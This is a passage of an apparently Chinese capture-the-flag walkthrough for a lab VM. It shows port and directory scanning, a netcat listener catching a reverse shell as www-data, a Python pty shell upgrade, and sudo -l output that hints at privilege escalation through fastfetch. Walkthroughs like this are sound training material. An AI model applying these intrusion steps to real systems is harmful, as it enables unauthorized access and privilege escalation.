nmap -sT -p- --min-rate=10000 192.168.53.207 Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-08 12:58 +0800 Stats: 0:00:57 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 40.66% done; ETC: 13:00 (0:01:25 remaining) Nmap scan report for hacker.maze-sec.hmv (192.168.53.207) Host is up (0.12s latency). Not shown: 61264 filtered tcp ports (no-response), 4268 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https
一共三个端口:22,80,443
接着探测版本服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
❯ nmap -sT -p22,80,443 -sV 192.168.53.207 Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-08 13:01 +0800 Nmap scan report for hacker.maze-sec.hmv (192.168.53.207) Host is up (0.0028s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) 80/tcp open http Apache httpd 2.4.62 ((Debian)) 443/tcp open ssl/http Apache httpd 2.4.62 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.59 seconds
❯ nmap -sT -p22,80,443 -sV -sC 192.168.53.207 Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-08 13:02 +0800 Nmap scan report for hacker.maze-sec.hmv (192.168.53.207) Host is up (0.0021s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-title: Did not follow redirect to https://hacker.maze-sec.hmv/ |_http-server-header: Apache/2.4.62 (Debian) 443/tcp open ssl/http Apache httpd 2.4.62 |_ssl-date: TLS randomness does not represent time |_http-server-header: Apache/2.4.62 (Debian) | ssl-cert: Subject: commonName=hacker.maze-sec.hmv/organizationName=Maze-Sec/stateOrProvinceName=Beijing/countryName=CN | Not valid before: 2025-05-17T09:19:35 |_Not valid after: 2035-05-15T09:19:35 | tls-alpn: |_ http/1.1 |_http-title: \xE5\x9C\xA8\xE7\xBA\xBF\xE9\xBB\x91\xE5\xAE\xA2\xE6\xA8\xA1\xE6\x8B\x9F\xE5\x99\xA8 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.24 seconds
╭─ /home/kali/Desktop/tools/隧道 with root@kali at 00:25:20 ─╮ ╰─❯ dirsearch -u "http://192.168.53.207/" ─╯ /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
---- Entering directory: https://hacker.maze-sec.hmv/css/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway)
---- Entering directory: https://hacker.maze-sec.hmv/img/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway)
---- Entering directory: https://hacker.maze-sec.hmv/js/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway)
Active code page: 65001 '.\nc.exe' is not recognized as an internal or external command, operable program or batch file. *********************使用说明********************* 使用: .\nc.exe -h
************************************************** '\n' is not recognized as an internal or external command, operable program or batch file. Microsoft Windows [Version 10.0.26200.9550] (c) Microsoft Corporation。保留所有权利。
G:\HackTools\Online_tools打包版\Online_tools打包版\storage\NC工具>nc64 -lvnp 443 listening on [any] 443 ...
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
Active code page: 65001 '.\nc.exe' is not recognized as an internal or external command, operable program or batch file. *********************使用说明********************* 使用: .\nc.exe -h
************************************************** '\n' is not recognized as an internal or external command, operable program or batch file. Microsoft Windows [Version 10.0.26200.9550] (c) Microsoft Corporation。保留所有权利。 G:\HackTools\Online_tools打包版\Online_tools打包版\storage\NC工具>nc64 -lvnp 443 listeningon [any] 443 ... connectto [192.168.53.50] from (UNKNOWN) [192.168.53.207] 37150 id uid=33(www-data) gid=33(www-data) groups=33(www-data)
G:\HackTools\Online_tools打包版\Online_tools打包版\storage\NC工具>nc64 -lvnp 443 listening on [any] 443 ... connect to [192.168.53.50] from (UNKNOWN) [192.168.53.207] 41002 ls pwd /home/qaq python3 -c "import pty;pty.spawn('/bin/bash')" bash-5.0$ ls ls bash-5.0$ pwd pwd /home/qaq bash-5.0$
五.权限提升
sudo -l 查看:
1 2 3 4 5 6 7 8
sudo -l Matching Defaults entries for qaq on Console: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User qaq may run the following commands on Console: (ALL) NOPASSWD: /usr/bin/fastfetch bash-5.0$